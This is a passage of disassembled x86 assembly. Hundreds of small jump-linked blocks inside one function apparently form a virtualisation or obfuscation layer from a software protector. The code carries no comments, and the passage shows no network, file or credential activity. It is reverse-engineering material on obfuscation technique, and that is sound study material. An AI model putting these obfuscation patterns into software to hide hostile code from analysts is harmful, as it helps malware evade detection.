; ---------------------------------------------------------------------------


loc_5CA53D:				; CODE XREF: sub_5A55E5+2AF63j
		sub	edx, 29582B0Fh
		pop	ecx
		xor	edx, [esp+0B2h+var_B4+2]
		xor	[esp+0B2h+var_B4+2], edx
		xor	edx, [esp+0B2h+var_B4+2]
		jmp	loc_5BFCB1
; ---------------------------------------------------------------------------


loc_5CA552:				; CODE XREF: sub_5A55E5+1F45Fj
		xchg	ecx, [esp+90h+var_90]
		mov	esp, [esp+90h+var_90]
		jmp	loc_5CC7E6
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+90h+var_90]
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		jmp	loc_5C544C
; ---------------------------------------------------------------------------


loc_5CA56F:				; CODE XREF: sub_5A55E5+23F21j
		pop	ebp
		jmp	loc_5C1345
; ---------------------------------------------------------------------------


loc_5CA575:				; CODE XREF: sub_5A55E5+1E551j
		push	edx
		mov	edx, 5BDB14C7h
		mov	eax, 0D1072F77h
		sub	eax, edx
		jmp	loc_5C3F22
; ---------------------------------------------------------------------------


loc_5CA587:				; CODE XREF: sub_5A55E5+2C738j
		push	ecx
		push	[esp+90h+var_8C]
		pop	ecx
		pop	[esp+90h+var_90]
		pop	esp
		sub	edi, 6522735Ah
		add	edi, ecx
		push	ebx
		mov	ebx, 6522735Ah
		sub	esp, 4
		mov	[esp+90h+var_90], ecx
		mov	ecx, 4D370701h
		jmp	loc_5C2AB2
; ---------------------------------------------------------------------------


loc_5CA5B2:				; CODE XREF: sub_5A55E5+21928j
		neg	edx
		add	edx, 0FFFFFFFFh
		jmp	loc_5C0F1B
; ---------------------------------------------------------------------------


loc_5CA5BF:				; CODE XREF: sub_5A55E5+26536j
		mov	[esp+50h+var_50], edi
		push	7607h
		mov	[esp+54h+var_54], esi
		push	edx
		jmp	loc_5D2A12
; ---------------------------------------------------------------------------


loc_5CA5D0:				; CODE XREF: sub_5A55E5+1D1CAj
		mov	si, 2FE0h
		add	bx, si
		pop	si
		jmp	loc_5C0359
; ---------------------------------------------------------------------------


loc_5CA5DE:				; CODE XREF: sub_5A55E5+294ABj
		sub	ebx, esi
		jmp	loc_5C5EB4
; ---------------------------------------------------------------------------


loc_5CA5E5:				; CODE XREF: sub_5A55E5+23D9Ej
		xor	edx, [esp+9Eh+var_A0+2]
		pop	esp
		push	ebp
		mov	ebp, esp
		jmp	loc_5CA050
; ---------------------------------------------------------------------------


loc_5CA5F1:				; CODE XREF: sub_5A55E5+21CC4j
		and	esi, 42C63FCAh
		or	esi, 4BFD40A3h
		push	edx
		jmp	loc_5C548F
; ---------------------------------------------------------------------------


loc_5CA603:				; CODE XREF: sub_5A55E5+1C9EEj
		add	edx, 4
		push	47DBh
		jmp	loc_5C10FB
; ---------------------------------------------------------------------------


loc_5CA613:				; CODE XREF: sub_5A55E5+20D29j
		pop	edi
		add	ecx, 4
		jmp	loc_5CA81F
; ---------------------------------------------------------------------------


loc_5CA61F:				; CODE XREF: sub_5A55E5+1A706j
		add	eax, 4
		xchg	eax, [esp+9Ah+var_9C+2]
		pop	esp
		jmp	loc_5D3032
; ---------------------------------------------------------------------------


loc_5CA62D:				; CODE XREF: sub_5A55E5+1D569j
		add	[esp+8Ch+var_88], 4A057895h
		pop	eax
		pop	ebx
		push	7EC7h
		jmp	loc_5C94F2
; ---------------------------------------------------------------------------


loc_5CA641:				; CODE XREF: sub_5A55E5+28CE0j
		xchg	eax, [esp+88h+var_88]
		mov	esp, [esp+88h+var_88]
		sub	esp, 2
		mov	word ptr [esp+8Ch+var_8C], ax
		mov	al, 7
		jmp	loc_5C3CAC
; ---------------------------------------------------------------------------


loc_5CA655:				; CODE XREF: sub_5A55E5+1EF8Bj
		and	byte ptr [esp+86h+var_88+2], al
		pushf
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5CA65E:				; CODE XREF: sub_5A55E5+1BFBBj
		mov	ebp, [esp+44h+var_46+2]
		add	esp, 4
		xor	ebx, [esp+40h+var_42+2]
		jmp	loc_5C7EC5
; ---------------------------------------------------------------------------


loc_5CA66F:				; CODE XREF: sub_5A55E5+2CE8Aj
		mov	ebp, [esp+40h+var_42+2]
		add	esp, 4
		xor	ebx, eax
		jmp	loc_5CA8DF
; ---------------------------------------------------------------------------


loc_5CA67F:				; CODE XREF: sub_5A55E5+252D1j
		push	10C3h
		mov	[esp+40h+var_42+2], ecx
		push	esp
		pop	ecx
		push	ebp
		mov	ebp, 4
		jmp	loc_5CD885
; ---------------------------------------------------------------------------


loc_5CA694:				; CODE XREF: sub_5A55E5+2A662j
		pop	edi
		xor	esi, edi
		pop	edi
		add	ebx, 284B5285h
		add	ebx, esi
		sub	ebx, 284B5285h
		mov	esi, [esp+3Ch+var_3E+2]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+40h+var_42+2]
		jmp	loc_5C09C4
; ---------------------------------------------------------------------------


loc_5CA6C0:				; CODE XREF: sub_5A55E5+24DACj
		add	esi, 39AF00E9h
		pop	ebp
		push	2656h
		jmp	loc_5C2775
; ---------------------------------------------------------------------------


loc_5CA6D1:				; CODE XREF: sub_5A55E5+26C89j
		pop	[esp+9Eh+var_A0+2]
		mov	esp, [esp+9Ah+var_9C+2]
		mov	[esp+9Ah+var_9C+2], eax
		sub	esp, 4
		mov	[esp+9Eh+var_A0+2], edi
		jmp	loc_5D07DA
; ---------------------------------------------------------------------------


loc_5CA6E5:				; CODE XREF: sub_5A55E5+23DFDj
		add	esp, 4
		push	edx
		mov	edx, 4
		jmp	loc_5D226E
; ---------------------------------------------------------------------------


loc_5CA6F3:				; CODE XREF: sub_5A55E5+294FFj
		shr	word ptr [esp+90h+var_90], cl
		pushf
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5CA6FD:				; CODE XREF: sub_5A55E5+26F74j
		pop	edx
		push	edx
		mov	dl, 5Ch
		inc	dl
		and	dl, 0A7h
		push	7605h
		mov	[esp+98h+var_98], eax
		push	edx
		mov	dh, 0BFh
		mov	al, 8Ch
		sub	al, dh
		jmp	loc_5D044D
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+9Ch+var_9C]
		push	6D3Ah
		mov	[esp+0A0h+var_A0], edx
		mov	edx, esp
		add	edx, 4
		push	edi
		mov	edi, 2
		push	esi
		mov	esi, 3FB13F1h
		add	edx, esi
		pop	esi
		add	edx, edi
		sub	edx, 3FB13F1h
		pop	edi
		push	edx
		push	[esp+0A4h+var_A0]
		mov	edx, [esp+0A8h+var_A8]
		sub	esp, 4
		mov	[esp+0ACh+var_AC], edx
		jmp	loc_5CD12C
; ---------------------------------------------------------------------------


loc_5CA75C:				; CODE XREF: sub_5A55E5+2ACE2j
		mov	ebx, 1AE518B0h
		sub	edi, 752F68C6h
		add	edi, ebx
		add	edi, 752F68C6h
		push	[esp+0ACh+var_AC]
		pop	ebx
		jmp	loc_5C41ED
; ---------------------------------------------------------------------------


loc_5CA778:				; CODE XREF: sub_5A55E5+285F3j
		pop	esi
		xor	eax, 0F8FC019Ah
		push	eax
		sub	[esp+0ACh+var_AC], 4F0621Dh
		pop	ebp
		add	ebp, 4F0621Dh
		jmp	loc_5CE8C9
; ---------------------------------------------------------------------------


loc_5CA792:				; CODE XREF: sub_5A55E5+22FC9j
		add	esp, 4
		push	1BC2h
		mov	[esp+8Eh+var_90+2], ebp
		push	eax
		push	4BE55B47h
		jmp	loc_5CFB59
; ---------------------------------------------------------------------------


loc_5CA7AB:				; CODE XREF: sub_5A55E5+23D56j
		push	ebp
		mov	ebp, 5188721Fh
		add	eax, 2320232Ah
		sub	eax, ebp
		sub	eax, 2320232Ah
		jmp	loc_5D3389
; ---------------------------------------------------------------------------


loc_5CA7C2:				; CODE XREF: sub_5A55E5+2025Dj
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5C108B
; ---------------------------------------------------------------------------


loc_5CA7CF:				; CODE XREF: sub_5A55E5+28ED4j
		add	esi, 4
		add	esi, 4
		xor	esi, [esp+0A0h+var_A0]
		xor	[esp+0A0h+var_A0], esi
		xor	esi, [esp+0A0h+var_A0]
		pop	esp
		pop	edi


loc_5CA7E3:				; CODE XREF: sub_5A55E5+2E5DFj
		push	eax
		jmp	loc_5C7A70
; ---------------------------------------------------------------------------


loc_5CA7E9:				; CODE XREF: sub_5A55E5+217E0j
		mov	edi, 127A5340h
		jmp	loc_5C23B0
; ---------------------------------------------------------------------------


loc_5CA7F3:				; CODE XREF: sub_5A55E5+29C5Aj
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+8Ch+var_8C]
		pop	esp
		jmp	loc_5C028A
; ---------------------------------------------------------------------------


loc_5CA80A:				; CODE XREF: sub_5A55E5+28C1Fj
		sub	edx, 3A3C5D5Bh
		sub	edx, eax
		jmp	loc_5CAF2E
; ---------------------------------------------------------------------------


loc_5CA817:				; CODE XREF: sub_5A55E5+233A1j
		mov	edi, [esp+9Eh+var_A0+2]
		jmp	loc_5D3A6E
; ---------------------------------------------------------------------------


loc_5CA81F:				; CODE XREF: sub_5A55E5+25035j
		xchg	ecx, [esp+9Eh+var_A0+2]
		mov	esp, [esp+9Eh+var_A0+2]
		jmp	loc_5CBD79
; ---------------------------------------------------------------------------


loc_5CA82A:				; CODE XREF: sub_5A55E5+1E7BDj
		push	11CF04CEh
		pop	ebp
		add	eax, ebp
		mov	ebp, [esp+0A0h+var_A0]
		add	esp, 4
		inc	eax
		shl	eax, 3
		xor	eax, 0BD581D72h
		add	ebx, eax
		pop	eax
		jmp	loc_5CD094
; ---------------------------------------------------------------------------


loc_5CA849:				; CODE XREF: sub_5A55E5+1DDC7j
		mov	esi, esp
		add	esi, 4
		jmp	loc_5D1B98
; ---------------------------------------------------------------------------


loc_5CA856:				; CODE XREF: sub_5A55E5+28DD5j
		add	eax, 29E6609h
		jmp	loc_5C4B18
; ---------------------------------------------------------------------------


loc_5CA860:				; CODE XREF: sub_5A55E5+262E7j
		sub	ecx, 0FFFFFFFFh
		xor	ecx, 25A56D1h
		add	ecx, 46CA365Dh
		mov	esi, ecx
		jmp	loc_5D3B50
; ---------------------------------------------------------------------------


loc_5CA879:				; CODE XREF: sub_5A55E5+26D53j
		push	ecx
		push	[esp+0BCh+var_B8]
		pop	ecx
		pop	[esp+0BCh+var_BC]
		mov	esp, [esp+0B8h+var_B8]
		sub	esp, 4
		mov	[esp+0BCh+var_BC], ecx
		jmp	loc_5C5A6F
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	eax
		adc	[esp+0B8h+var_B8], eax
		pushf
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5CA89E:				; CODE XREF: sub_5A55E5+2109Aj
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_5CF579
; ---------------------------------------------------------------------------


loc_5CA8AF:				; CODE XREF: sub_5A55E5+272B2j
		mov	al, bh
		mov	cl, al
		mov	eax, [esp+88h+var_88]
		jmp	loc_5CA67F
; ---------------------------------------------------------------------------


loc_5CA8BB:				; CODE XREF: sub_5A55E5+21EEAj
		xchg	ebp, [esp+9Ah+var_9C+2]
		pop	esp
		mov	[esp+96h+var_98+2], edx
		jmp	loc_5CAB89
; ---------------------------------------------------------------------------


loc_5CA8C7:				; CODE XREF: sub_5A55E5+27F19j
		xor	edi, [esp+96h+var_98+2]
		pop	esp
		add	esp, 4
		cmp	ecx, eax
		pushf
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5CA8D9:				; CODE XREF: sub_5A55E5+20F62j
		pop	ebx
		jmp	loc_5C082D
; ---------------------------------------------------------------------------


loc_5CA8DF:				; CODE XREF: sub_5A55E5+25095j
		push	5D9Ch
		mov	[esp+40h+var_42+2], edi
		mov	edi, 6C1578CFh
		jmp	loc_5C3531
; ---------------------------------------------------------------------------


loc_5CA8F1:				; CODE XREF: sub_5A55E5+1B820j
		pop	eax
		push	ebx
		jmp	loc_5CB526
; ---------------------------------------------------------------------------


loc_5CA8F8:				; CODE XREF: sub_5A55E5+1BA9Bj
		add	esp, 4
		sub	esp, 4
		mov	[esp+9Ch+var_9C], edi
		jmp	loc_5C0986
; ---------------------------------------------------------------------------


loc_5CA909:				; CODE XREF: sub_5A55E5+26DB2j
		mov	ebx, [esp+9Ch+var_9C]
		jmp	loc_5C3360
; ---------------------------------------------------------------------------


loc_5CA911:				; CODE XREF: sub_5A55E5+2D4E2j
		pop	eax
		pop	[esp+98h+var_98]
		pop	esp
		mov	[esp+90h+var_90], eax
		sub	esp, 4
		push	esp
		pop	[esp+98h+var_98]
		push	edi
		mov	edi, 4
		add	[esp+98h+var_94], 7AD95B27h
		add	[esp+98h+var_94], edi
		sub	[esp+98h+var_94], 7AD95B27h
		pop	edi
		mov	eax, [esp+94h+var_94]
		push	esi
		mov	esi, esp
		jmp	loc_5C1050
; ---------------------------------------------------------------------------


loc_5CA949:				; CODE XREF: sub_5A55E5+26BDDj
		pop	eax
		jmp	loc_5CCA81
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+94h+var_94]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	esp, 4
		mov	[esp+9Ch+var_9C], ebp
		mov	ebp, 4
		sub	ebx, ebp
		push	[esp+9Ch+var_9C]
		mov	ebp, [esp+0A0h+var_A0]
		jmp	loc_5CE98C
; ---------------------------------------------------------------------------


loc_5CA974:				; CODE XREF: sub_5A55E5+20D76j
		add	esp, 4
		add	ebp, 6730161Fh
		push	0
		sub	[esp+9Ah+var_9C+2], ebp
		pop	ebp
		shl	ebp, 5
		jmp	loc_5CBCA6
; ---------------------------------------------------------------------------


loc_5CA98E:				; CODE XREF: sub_5A55E5+22D2Dj
		not	eax
		dec	eax
		add	eax, 2901FE51h
		xor	ebp, eax
		pop	eax
		mov	esi, ebp
		pop	ebp
		add	esi, 381A709Eh
		sub	esp, 4
		mov	[esp+98h+var_98], ebx
		mov	ebx, 33261E6h
		or	esi, ebx
		pop	ebx
		or	esi, 249B40EAh
		sub	esi, 4184D3AFh
		sub	ecx, esi
		push	[esp+94h+var_94]
		pop	esi
		add	esp, 4
		xor	ecx, 95656746h
		sub	edx, ecx
		pop	ecx
		push	eax
		mov	eax, 0FAB5EB5h
		add	edx, eax
		pop	eax
		add	edx, edi
		sub	edx, 0FAB5EB5h
		push	esi
		mov	esi, 74756407h
		add	edx, esi
		pop	esi
		mov	ecx, [edx]
		pop	edx
		push	ecx
		jmp	loc_5CF78A
; ---------------------------------------------------------------------------


loc_5CA9F4:				; CODE XREF: sub_5A55E5+241B0j
		sub	esp, 4
		mov	[esp+88h+var_88], ebp
		jmp	loc_5CDA85
; ---------------------------------------------------------------------------


loc_5CA9FF:				; CODE XREF: sub_5A55E5+2E1CFj
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_5C4226
; ---------------------------------------------------------------------------


loc_5CAA10:				; CODE XREF: sub_5A55E5+24E5Aj
		push	ebx
		not	[esp+0ACh+var_AC]
		pop	ebx
		inc	ebx
		xor	ebx, 5D4124F4h
		xor	ebx, 0B591DB92h
		xor	edx, ebx
		jmp	loc_5C618F
; ---------------------------------------------------------------------------


loc_5CAA29:				; CODE XREF: sub_5A55E5+25E55j
		mov	esi, [esp+0A8h+var_A8]
		add	esp, 4
		add	edx, 5926462Ah
		jmp	loc_5CCC0D
; ---------------------------------------------------------------------------


loc_5CAA3D:				; CODE XREF: sub_5A55E5+1ADB2j
		mov	dx, word ptr [esp+0A0h+var_A0]
		add	esp, 2
		xor	bl, al
		jmp	loc_5D18C5
; ---------------------------------------------------------------------------


loc_5CAA4B:				; CODE XREF: sub_5A55E5+1CB91j
		mov	[esp+56h+var_58+2], ebx
		mov	ebx, 53D27926h
		mov	ecx, 0D072CB9Ah
		jmp	loc_5CA1EC
; ---------------------------------------------------------------------------


loc_5CAA5D:				; CODE XREF: sub_5A55E5+2725Aj
		pop	ecx
		push	eax
		mov	eax, 77F833F0h
		jmp	loc_5C6665
; ---------------------------------------------------------------------------


loc_5CAA69:				; CODE XREF: sub_5A55E5+23D88j
		add	edi, 4547206Ah
		and	edi, 15B13329h
		jmp	loc_5BFC15
; ---------------------------------------------------------------------------


loc_5CAA7A:				; CODE XREF: sub_5A55E5+1DC59j
		xor	ecx, [esp+92h+var_94+2]
		mov	esp, [esp+92h+var_94+2]
		jmp	loc_5CFE7D
; ---------------------------------------------------------------------------


loc_5CAA85:				; CODE XREF: sub_5A55E5+22C94j
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp+0A8h+var_A8]
		pop	esp
		mov	[esp+0A4h+var_A4], ebp
		mov	ebp, esp
		add	ebp, 4
		push	edx
		mov	edx, 4
		sub	ebp, 612B593Bh
		add	ebp, edx
		add	ebp, 612B593Bh
		pop	edx
		jmp	loc_5C4012
; ---------------------------------------------------------------------------


loc_5CAAB8:				; CODE XREF: sub_5A55E5+2B71Cj
		push	[esp+0A4h+var_A4]
		pop	ebx
		add	esp, 4
		sub	ebx, 58132522h
		mov	ecx, ebx
		jmp	loc_5CED67
; ---------------------------------------------------------------------------


loc_5CAACC:				; CODE XREF: sub_5A55E5+26137j
		mov	[esp+0A0h+var_A0], esp
		add	[esp+0A0h+var_A0], 4
		jmp	loc_5CFCE2
; ---------------------------------------------------------------------------


loc_5CAADB:				; CODE XREF: sub_5A55E5+21105j
		add	esp, 4
		or	ebp, 4ED85BF1h
		sub	ebp, 20F7AD50h
		add	esi, 95931FCh
		jmp	loc_5CA444
; ---------------------------------------------------------------------------


loc_5CAAF8:				; CODE XREF: sub_5A55E5+2BF78j
		add	esp, 4
		xor	bl, al
		push	5DE1h
		mov	[esp+86h+var_88+2], ebp
		push	ecx
		jmp	loc_5C54A1
; ---------------------------------------------------------------------------


loc_5CAB0E:				; CODE XREF: sub_5A55E5+28CAFj
		add	ebx, 4
		xchg	ebx, [esp+8Ah+var_8C+2]
		pop	esp
		xor	esi, [esp+86h+var_88+2]
		xor	[esp+86h+var_88+2], esi
		xor	esi, [esp+86h+var_88+2]
		pop	esp
		or	edx, eax
		shl	edx, 1
		jmp	loc_5C86CB
; ---------------------------------------------------------------------------


loc_5CAB28:				; CODE XREF: sub_5A55E5+2AF96j
		pop	edx
		xor	edx, 7C290D1Ah
		mov	ebp, edx
		push	[esp+7Eh+var_80+2]
		push	[esp+82h+var_84+2]
		pop	edx
		add	esp, 4
		push	edi
		push	esp
		mov	edi, [esp+86h+var_88+2]
		add	esp, 4
		push	edx
		jmp	loc_5D23B4
; ---------------------------------------------------------------------------


loc_5CAB4F:				; CODE XREF: sub_5A55E5+2BA07j
		mov	ecx, edi
		pop	edi
		add	ebp, ecx
		jmp	loc_5C9F16
; ---------------------------------------------------------------------------


loc_5CAB59:				; CODE XREF: sub_5A55E5+1DAE5j
		pop	esi
		pop	[esp+0A6h+var_A8+2]
		pop	esp
		push	64C7h
		mov	[esp+0A2h+var_A4+2], ecx
		jmp	loc_5C87C0
; ---------------------------------------------------------------------------
		push	dword ptr [edi+40h]
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5CAB73:				; CODE XREF: sub_5A55E5+1B075j
		sub	edx, 4
		jmp	loc_5CE94E
; ---------------------------------------------------------------------------


loc_5CAB7B:				; CODE XREF: sub_5A55E5+2C5A7j
		push	edx
		mov	dh, 69h
		and	dh, 87h
		or	dh, 0A3h
		jmp	loc_5C7C33
; ---------------------------------------------------------------------------


loc_5CAB89:				; CODE XREF: sub_5A55E5+252DDj
		push	[esp+96h+var_94+2]
		pop	edx
		pop	[esp+96h+var_98+2]
		pop	esp
		mov	[esp+8Eh+var_90+2], esi
		push	esp
		mov	esi, [esp+92h+var_94+2]
		add	esp, 4
		add	esi, 4
		add	esi, 2
		sub	esp, 4
		mov	[esp+92h+var_94+2], esi
		push	[esp+92h+var_90+2]
		jmp	loc_5CA2EA
; ---------------------------------------------------------------------------


loc_5CABBA:				; CODE XREF: sub_5A55E5+256CEj
		sub	ebx, 5A192385h
		neg	ebx
		jmp	loc_5BF89D
; ---------------------------------------------------------------------------


loc_5CABC7:				; CODE XREF: sub_5A55E5+2682Dj
		add	ecx, 7A9C2BB8h
		add	ecx, 6C5F8AEAh
		mov	eax, ecx
		jmp	loc_5CC10E
; ---------------------------------------------------------------------------


loc_5CABDA:				; CODE XREF: sub_5A55E5+2AEFCj
		pop	[esp+96h+var_98+2]
		pop	esp
		or	eax, eax
		jz	loc_5CC9FD
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp+92h+var_94+2]
		jmp	loc_5CF2E2
; ---------------------------------------------------------------------------


loc_5CABF9:				; CODE XREF: sub_5A55E5+1E4FDj
		sub	edx, ecx
		mov	ecx, [esp+88h+var_88]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5C0E74
; ---------------------------------------------------------------------------


loc_5CAC0C:				; CODE XREF: sub_5A55E5+2580Fj
		add	esp, 4
		push	eax
		mov	ah, 0BAh
		shr	ah, 8
		not	ah
		jmp	loc_5C88CE
; ---------------------------------------------------------------------------


loc_5CAC1C:				; CODE XREF: sub_5A55E5+2C064j
		mov	esi, 2B207AB0h
		push	esi
		pop	edx
		pop	esi
		and	edx, 514911E8h
		xor	edx, 34C035DBh
		add	edx, 0FB8A268Bh
		sub	ebx, 7D895861h
		sub	ebx, 2E6151FCh
		jmp	loc_5CACB8
; ---------------------------------------------------------------------------


loc_5CAC47:				; CODE XREF: sub_5A55E5+1F3EBj
		mov	ecx, edx
		pop	edx
		mov	esi, ecx
		push	[esp+7Ch+var_7C]
		pop	ecx
		push	edx
		mov	edx, esp
		push	edi
		mov	edi, 4
		add	edx, edi
		jmp	loc_5CD759
; ---------------------------------------------------------------------------


loc_5CAC60:				; CODE XREF: sub_5A55E5+2EAA7j
		sub	edx, 0BE2793F8h
		add	eax, edx
		pop	edx
		jmp	loc_5CFEEB
; ---------------------------------------------------------------------------


loc_5CAC6E:				; CODE XREF: sub_5A55E5+28B5Dj
		mov	cl, 0E0h
		and	cl, 5Ah
		push	edx
		mov	dh, 92h
		add	cl, dh
		pop	edx
		push	eax
		mov	al, 84h
		xor	cl, al
		pop	eax
		sub	bh, cl
		jmp	loc_5C08CA
; ---------------------------------------------------------------------------


loc_5CAC86:				; CODE XREF: sub_5A55E5+1BFF5j
		sub	edi, ebx
		pop	ebx
		jmp	loc_5CE226
; ---------------------------------------------------------------------------


loc_5CAC8E:				; CODE XREF: sub_5A55E5+2A2BCj
		push	esp
		jmp	loc_5C5B88
; ---------------------------------------------------------------------------


loc_5CAC94:				; CODE XREF: sub_5A55E5+27CF8j
		mov	edi, 339718E0h
		jmp	loc_5D2434
; ---------------------------------------------------------------------------


loc_5CAC9E:				; CODE XREF: sub_5A55E5+276BDj
		mov	eax, [esp+40h+var_42+2]
		add	esp, 4
		pop	esi
		sub	esp, 4
		mov	[esp+3Ch+var_3E+2], ebx
		mov	ebx, 7B603306h
		jmp	loc_5CABBA
; ---------------------------------------------------------------------------


loc_5CACB8:				; CODE XREF: sub_5A55E5+2565Dj
		sub	ebx, edx
		add	ebx, 2E6151FCh
		add	ebx, 7D895861h
		pop	edx
		add	ebx, 33C51E0Ah
		add	ebx, edi
		sub	ebx, 33C51E0Ah
		push	14CAh
		mov	[esp+88h+var_88], edx
		mov	edx, 314A4C06h
		jmp	loc_5C0D9D
; ---------------------------------------------------------------------------


loc_5CACE7:				; CODE XREF: sub_5A55E5+20E2Dj
		mov	cl, 5Dh
		add	al, 47h
		sub	al, cl
		push	0AAAh
		mov	[esp+88h+var_88], ebx
		mov	bh, 47h
		jmp	loc_5C9E78
; ---------------------------------------------------------------------------


loc_5CACFC:				; CODE XREF: sub_5A55E5+2C95Dj
		pop	edi
		xor	esi, edx
		push	[esp+84h+var_84]
		mov	edx, [esp+88h+var_88]
		add	esp, 4
		push	1517h
		mov	[esp+88h+var_88], ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xor	ecx, [esp+88h+var_88]
		xor	[esp+88h+var_88], ecx
		xor	ecx, [esp+88h+var_88]
		mov	esp, [esp+88h+var_88]
		push	ebx
		mov	ebx, 3C0E239h
		xor	esi, ebx
		mov	ebx, [esp+8Ch+var_8C]
		add	esp, 4
		jmp	loc_5D37A0
; ---------------------------------------------------------------------------


loc_5CAD40:				; CODE XREF: sub_5A55E5+1A693j
		push	edx
		mov	edx, esp
		push	eax
		mov	eax, 4
		add	edx, eax
		pop	eax
		sub	edx, 4
		xchg	edx, [esp+9Ah+var_9C+2]
		pop	esp
		mov	[esp+96h+var_98+2], edx
		mov	dh, 39h
		shl	dh, 5
		push	ecx
		mov	ch, 0DCh
		xor	ch, 0
		sub	dh, ch
		mov	ecx, [esp+9Ah+var_9C+2]
		add	esp, 4
		jmp	loc_5D27CD
; ---------------------------------------------------------------------------


loc_5CAD6E:				; CODE XREF: sub_5A55E5+1D8D1j
		add	ebp, 24557015h
		add	ebp, edi
		sub	ebp, 24557015h
		pop	edi
		xor	ebp, 0D364A5D4h
		xor	edx, ebp
		pop	ebp
		sub	edi, 645621EBh
		jmp	loc_5C131F
; ---------------------------------------------------------------------------


loc_5CAD91:				; CODE XREF: sub_5A55E5+1EB43j
		pop	ecx
		jmp	loc_5D3EBC
; ---------------------------------------------------------------------------


loc_5CAD97:				; CODE XREF: sub_5A55E5+213EAj
		mov	ax, word ptr [esp+8Ch+var_8C]
		push	227Ah
		mov	[esp+90h+var_90], ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		mov	ebx, 5817237Fh
		shr	ebx, 5
		not	ebx
		add	ebx, 606778BBh
		shr	ebx, 2
		xor	ebx, 1EC38BC5h
		mov	ecx, ebx
		pop	ebx
		sub	ecx, 94B69AAh
		dec	ecx
		inc	ecx
		push	edi
		jmp	loc_5C8131
; ---------------------------------------------------------------------------


loc_5CADD1:				; CODE XREF: sub_5A55E5+298ABj
		sub	esp, 4
		mov	[esp+9Ch+var_9C], ebx
		push	eax
		push	49F5h
		mov	[esp+0A4h+var_A4], ebx
		mov	bl, ch
		mov	al, bl
		pop	ebx
		push	edx
		mov	dh, al
		push	eax
		jmp	loc_5C0622
; ---------------------------------------------------------------------------


loc_5CADEE:				; CODE XREF: sub_5A55E5+26AB2j
		sub	byte ptr [esp+0A8h+var_A8], cl
		mov	cl, byte ptr [esp+0A8h+var_A8]
		jmp	loc_5CAC0C
; ---------------------------------------------------------------------------


loc_5CADF9:				; CODE XREF: sub_5A55E5+2B437j
		push	esi
		jmp	loc_5D15B7
; ---------------------------------------------------------------------------


loc_5CADFF:				; CODE XREF: sub_5A55E5+1AB86j
		add	al, bh
		pop	ebx
		shr	al, 7
		jmp	loc_5C50A3
; ---------------------------------------------------------------------------


loc_5CAE0A:				; CODE XREF: sub_5A55E5+26321j
		pop	ebx
		shl	al, 1
		sub	al, 77h
		jmp	loc_5C3AC7
; ---------------------------------------------------------------------------


loc_5CAE14:				; CODE XREF: sub_5A55E5+2D7CAj
		dec	bl
		add	bl, 0A8h
		jmp	loc_5C1C06
; ---------------------------------------------------------------------------


loc_5CAE1E:				; CODE XREF: sub_5A55E5+2B64Fj
		mov	esi, [esp+72h+var_74+2]
		add	esp, 4
		add	eax, 28B47333h
		add	eax, 6CC564D4h
		sub	eax, ebx
		push	edx
		mov	edx, 6CC564D4h
		jmp	loc_5D2275
; ---------------------------------------------------------------------------


loc_5CAE3B:				; CODE XREF: sub_5A55E5+1FE2Bj
		add	bx, ax
		jmp	loc_5D0C45
; ---------------------------------------------------------------------------


loc_5CAE43:				; CODE XREF: sub_5A55E5+2BFF2j
		neg	edi
		inc	edi
		jmp	loc_5CDB8A
; ---------------------------------------------------------------------------


loc_5CAE4B:				; CODE XREF: sub_5A55E5+21D13j
		shl	eax, 4
		sub	eax, 0C980E781h
		jmp	loc_5D2B2C
; ---------------------------------------------------------------------------


loc_5CAE58:				; CODE XREF: sub_5A55E5+23AACj
		pop	esp
		mov	[esp+98h+var_98], esp
		jmp	loc_5CDD50
; ---------------------------------------------------------------------------


loc_5CAE61:				; CODE XREF: sub_5A55E5+1E2F8j
		add	esp, 4
		push	dx
		mov	dl, 62h
		add	al, dl
		pop	dx
		push	ebx
		jmp	loc_5C0433
; ---------------------------------------------------------------------------


loc_5CAE75:				; CODE XREF: sub_5A55E5+20BF4j
		mov	fs:[edx], al
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5CAE7D:				; CODE XREF: sub_5A55E5+29667j
		mov	ebp, 12936BB5h
		add	eax, ebp
		pop	ebp
		push	[esp+3Ah+var_3A]
		pop	ecx
		push	2F1h
		mov	[esp+3Eh+var_3E], ebp
		jmp	loc_5D0D6F
; ---------------------------------------------------------------------------


loc_5CAE96:				; CODE XREF: sub_5A55E5+25CEFj
		or	eax, eax
		jnz	loc_5CC6E4
		push	esi
		sub	esp, 4
		mov	[esp+46h+var_46], ecx
		push	eax
		mov	eax, 2A676363h
		shl	eax, 2
		jmp	loc_5CF651
; ---------------------------------------------------------------------------


loc_5CAEB6:				; CODE XREF: sub_5A55E5+24500j
		pop	ebp
		dec	ecx
		neg	ecx
		shl	ecx, 7
		xor	ecx, 0E664812Fh
		add	ebx, ecx
		pop	ecx
		sub	ebx, 61976315h
		push	194Ah
		mov	[esp+90h+var_90], ecx
		mov	ecx, 4A4B0138h
		add	ebx, ecx
		jmp	loc_5C89E1
; ---------------------------------------------------------------------------


loc_5CAEE0:				; CODE XREF: sub_5A55E5+1C6E7j
		add	eax, edx
		jmp	loc_5D2464
; ---------------------------------------------------------------------------


loc_5CAEE7:				; CODE XREF: sub_5A55E5+238FFj
		mov	ebx, 0
		add	ebx, ecx
		add	eax, [ebx]
